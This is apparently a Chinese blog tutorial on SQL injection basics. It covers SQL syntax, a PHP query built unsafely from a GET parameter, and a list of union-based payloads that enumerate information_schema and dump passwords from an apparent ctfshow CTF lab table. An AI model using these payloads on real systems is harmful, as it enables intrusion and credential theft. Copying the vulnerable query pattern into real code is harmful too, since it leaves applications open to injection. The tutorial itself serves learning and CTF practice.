SQL注入

SQL注入原理及注入基础。

SQL

引入

在计算机中存储数据,不仅要考虑如何将数据结构化地存储,更高效地利存储空间,还要考虑如何快速增、删、改、查,因此,SQL应运而生。

SQL(Structured Query Language)是一种特殊目的的编程语言,用于管理和操作关系数据库系统。它允许用户定义、查询、更新和管理数据库中的数据。SQL 是大多数数据库系统的标准语言,包括 MySQL、PostgreSQL、SQLite、Oracle、SQL Server 等。

也就是说,MySQL是数据库软件,而SQL是使用这类软件的一种通用编程语言。

SQL语句

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
//创建表
CREATE TABLE Employees (
EmployeeID int,
LastName varchar(255),
FirstName varchar(255),
Position varchar(100)
);
//插入数据
INSERT INTO Employees (EmployeeID, LastName, FirstName, Position)
VALUES (1, 'Smith', 'John', 'Software Engineer');
//查询数据
SELECT * FROM Employees;
或者
SELECT FirstName, LastName FROM Employees WHERE Position = 'Software Engineer';

//更新数据
UPDATE Employees SET Position = 'Senior Software Engineer' WHERE EmployeeID = 1;
//删除数据
DELETE FROM Employees WHERE EmployeeID = 1;
//创建索引
CREATE INDEX idx_lastname ON Employees(LastName);

实际编程中的SQL

在实际编程中,通过创建与数据库管理软件的接口,实现对数据库的管理。由此,出现了SQL注入这样的漏洞:
例如这样的代码:

1
$sql = "select username,password from user where  id = '.$_GET['id'].';";

通过改变用GET方式传递的参数,使得单引号提前闭合,再将后边的内容注释掉,就可以实现一条完整的SQL语句,而这次查询的内容却可以被客户端控制。

例如,id=1时,查询结果正常,返回一条结果。
而id=1’ or 1=1 –+时,返回了所有数据,这时的查询语句变成了:

1
2
3
$sql = "select username,password from user where  id = 1 or 1=1;"

$sql = "select username,password from user where 所有数据"

通过了解数据库的结构,可以在数据库中查到所需的数据。
这里通过Navicat Premium的图形界面,展示一个标准的数据库的结构:

image.png

MySQL一经创建,就存在了information_schema、mysql、performance_schema、sys这几个库,类似默认文件,它们存储着整个数据库所有的重要信息,库名、表名、列名等等,SQL注入通常从这里下手,根据得到的信息不断深入,锁定所需的信息位置,最后获取数据。
image1.png
image2.png

SQL注入

典型查找流程:爆库名-爆表名-爆字段名(列名)-查询

1
2
3
4
5
6
7
8
9
10
1' or 1=1 union select 1,2,database()--+

1' or 1=1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='ctfshow_web'--+

1' or 1=1 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='ctfshow_web' and table_name='ctfshow_user2'--+

-1' or 1=1 union select 1,group_concat(column_name) from information_schema.columns where table_schema='ctfshow_web '--+

1' or 1=1 union select 1,2,group_concat(password) from ctfshow_user2--+


SQL注入
https://43.242.201.154/2024/09/01/sqlinjection/
Author
Dong
Posted on
September 1, 2024
Licensed under